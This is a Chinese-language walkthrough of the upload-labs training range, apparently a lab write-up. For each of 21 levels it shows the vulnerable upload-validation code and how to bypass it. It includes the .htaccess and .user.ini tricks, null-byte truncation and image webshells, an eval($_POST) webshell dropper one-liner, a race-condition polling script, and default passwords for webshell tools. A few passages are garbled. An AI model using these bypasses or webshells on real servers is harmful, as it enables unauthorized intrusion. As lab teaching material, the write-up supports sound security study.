目录
- Pass-1(前端验证)(php5.2)
- Pass-2(MIME验证)
- Pass-3(黑名单验证,特殊后缀)
- Pass-4
- Pass-5(黑名单验证,`.user.ini.`)(php5.3、php5.4.45 NTS)
- Pass-06(黑名单验证,大小写绕过)
- Pass-07(黑名单验证,空格绕过)
- Pass-08(黑名单验证,点号绕过)
- Pass-09(黑名单验证,特殊字符::$DATA绕过)
- Pass-10(黑名单)
- Pass-11(黑名单验证,双写绕过)
- Pass-12(get00截断)
- Pass-13(post 00截断)
- Pass-14(图片马unpack)
- Pass-15(getimagesize图片马)
- Pass-16(exif_imagetype图片马)
- Pass-17(二次渲染绕过)
- Pass-18(条件竞争一)
- Pass-19(条件竞争二)
- Pass-20
- Pass-21(CTF题,代码审计,数组绕过)
Pass-1(前端验证)(php5.2)
- 1、上传木马文件
发现只能上传指定格式 - 2、源代码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif"; //文件白名单
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf(".")); //提取后缀
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
} }
-
3、方法一:通过断点修改源代码白名单
修改代码白名单,上传silic.php木马文件
看到图片表示上传成功,右击图片复制图片地址,在新窗口打开
密码为Silic
现在就可以为所欲为了。 -
4、方法二:删除前端调用checkFile()函数的语句
-
5、方法三:禁用浏览器JS功能
工具
-
冰蝎(Behinder)(php5.4)
server文件夹里面是冰蝎的木马文件
默认密码为rebeyond
连接成功 -
哥斯拉(Godzilla)
1、生产shell文件
2、上传之后连接
3、右击进入然后就可以为所欲为了
Pass-2(MIME验证)
- 1、查看代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] ==
'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
发现对上传文件的type有格式限制
- 2、抓包修改type
修改Content-Type:字段为白名单中任一个格式,HTML返回shell文件路径
Pass-3(黑名单验证,特殊后缀)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp'); //过滤:.asp/.aspx/.php/.jsp文件
//PHP常见的文件格式:php php3 php4 php5 php7 phpt phps phtml等
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
} }
分析代码,进行黑名单验证,但是黑名单不全,可以使用php3、php5、phtml等等绕过
但是因为靶场是用phpstudy环境搭建的,要进去修改一下配置文件
修改为AddType application/x-httpd-php .php .phtml .php5 .php3 .php7
Pass-4
- 1、查看代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext =
array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); //黑名单
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); //删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
} }
发现这里过滤了所有常见的php文件格式,但是发下有一个文件是没有过滤:.htaccess
.htaccess
基础知识
.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。它里面有这样一段代码:AllowOverride None,如果我们把None改成All- 2、通过构造.htaccess文件(只有后缀),重新定义允许的文件(白名单),代码如下:
<FilesMatch "zdz">
SetHandler application/x-httpd-php
</FilesMatch>
-
3、创建zdz文件(这里没有后缀),这里用到phpinfo()函数测试,也可以写木马。代码:
<?php phpinfo(); ?>
-
4、上传成功后复制zdz文件图片链接打开
成功
Pass-5(黑名单验证,.user.ini.
)(php5.3、php5.4.45 NTS)
- 1、代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext =
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jsp
x",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aS
ax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); //删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
} }
源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
反复观察发现没有被限制的后缀名有 .php7 以及 .ini
-
2、php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
但是想要引发 .user.ini 解析漏洞需要三个前提条件:
§ 服务器脚本语言为PHP
§ 服务器使用CGI/FastCGI模式
§ 上传目录下要有可执行的php文件 -
3、创建一个.user.ini文件:
这里的意思是只要执行php文件就会吧zdz.txt文件包含进去 -
4、再创建一个zdz.txt文件(只要允许上传的后缀都可以):
-
5、到了这一步与要等五分钟,或者修改配置文件:
可以将这里的时间改为10秒
再或者直接重启phpstudy -
6、测试
因为木马是php格式,所以这里我们需要执行zdz.txt目录下任意一个php文件,它会把zdz.txt中的代码包含进去
成功
Pass-06(黑名单验证,大小写绕过)
这里用大小写绕过即可
Pass-07(黑名单验证,空格绕过)
-
1、上传抓包,加个空格
看右边文件路径发现文件被改名了,不过不影响 -
2、用蚁剑连接
-
3、成功
Pass-08(黑名单验证,点号绕过)
这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过抓包,修改上传一句话木马文件名zdz.php.
其他和Pass7一样
Pass-09(黑名单验证,特殊字符::$DATA绕过)
补充知识:php在window的时候如果文件名+"::$DATA
“会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA
"之前的文件名 他的目的就是不检查后缀名。
抓包,加::$DATA
其他和Pass7一样
Pass-10(黑名单)
这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行filename=deldot(file_name=deldot(filename=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
-
1、上传zoe.php 然后用bp改后缀加点. .(点空格点)
-
2、落地Windows后结尾的“.”就没了
-
3、其他和Pass7一样
Pass-11(黑名单验证,双写绕过)
这一关黑名单,使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单
补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)
其他和Pass7一样
Pass-12(get00截断)
(这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。)
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16
进制就是0x00。
知识补充:
○ strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
○ substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST,
G
E
T
,
_GET,
GET,_POST$_COOKIE 输入的内容进行
过滤
-
1、BP抓包,添加00截断在这里插入图片描述
-
2、用蚁剑等工具连接时需要把后面的zdz.php后面多余的后缀删掉
-
3、其他和Pass7一样
Pass-13(post 00截断)
这一关和12关相似,不同的是因为直接输入的00为十进制,POST不会对里面的数据自动解码,所以这一关实需要HEX中添加00截断。
-
1、上传抓包
这里的“+”是为了方便找到添加00截断的位置,二进制为2b -
2、修改HEX
将这里的2b修改为00
-
3、其他和之前一样
Pass-14(图片马unpack)
代码
:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节 文件前两个字节为文件格式
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
} } }
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用图片马 + 文件包含 绕过
-
1、制作图片马
拼接zdz.png和zdz.php文件——>shell.png
-
2、上传图片马
-
3、利用文件包含漏洞,漏洞链接在这
-
4、因为图片上传之后被重命名,我们复制图片链接,在蚁剑上利用文件包含漏洞:include.php?file=upload/3420210320172751.png
-
5、成功
Pass-15(getimagesize图片马)
这里换成通过使用getimagesize()检查是否为图片文件,换汤不换药,所以还是可以用Pass-14的图片马绕过,并使用文件包含
漏洞解析图片马
Pass-16(exif_imagetype图片马)
知识补充
: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。
剩下和Pass-14一样
Pass-17(二次渲染绕过)
这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次
渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用
蚁剑进行连接
补充知识:
- 二次渲染:后端重写文件内容
- basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
- strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
- imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
- imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
- imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
我们可以这么做:
-
1、上传正常的GIF图片下载回显的图片,用WinHex对比上传前后的图片hex值,将没有被渲染的部分写上一句话木马:
-
2、复制图片链接,和14-16关一样,利用文件包含漏洞用蚁剑连接
Pass-18(条件竞争一)
- 1、看代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
} }
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
- 2、思路:代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
- 3、上传用来生成木马的zz.php文件,抓包
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["123"])?>');?>
-
4、无限上传zz.php文件
这里不需要替换,所以删除$$,并设置无限发送空的Payloads
这里给他多一点线程
-
5、同样的道理来无限访问zz.php,直到文件执行生成shell.php
这里状态200就表示访问成功,查看目录发现生成成功 -
补充
:这里也可以写一个python脚本用来实现一直访问zz.php,代码如下:
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php" while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break 当访问成功后会输出“OK”
补充:这里也可以写一个python脚本用来实现一直访问zz.php,代码如下:
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php" while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break 当访问成功后会输出“OK”
Pass-19(条件竞争二)
这一关作者代码写错了一个地方,文件的下载路径不是upload,这里我们修改一下
Pass-20
这里代码中用到move_uploaded_file()函数通过后缀黑名单对用户输入的文件名做判断,并且并没有对上传的文件做判断。
但move_uploaded_file()函数会忽略文件末尾的/.,我们可以利用这一点
-
1、上传抓包
-
2、加/.
-
3、上传成功
-
补充:其实直接在这后面加就行,而且加空格也行
Pass-21(CTF题,代码审计,数组绕过)
-
1、代码审计
-
补充:
explode(separator,string[,limit])
函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)
函数,输出数组中的当前元素和最后一个元素的值。
reset(array)
函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)
函数,计算数组中的单元数目,或对象中的属性个数 -
2、抓包修改
我们要改的就是下面的要求:- 1、修改content-type
- 2、修改POST参数为数组类型,索引[0]为’upload-20.php’,索引[2]为’jpg|png|gif’。
- 3、只要第二个索引’不为1’,
f
i
l
e
[
c
o
u
n
t
(
file[count(
file[count(file) - 1]就等价于$file[2-1],值为空
-
3、连接成功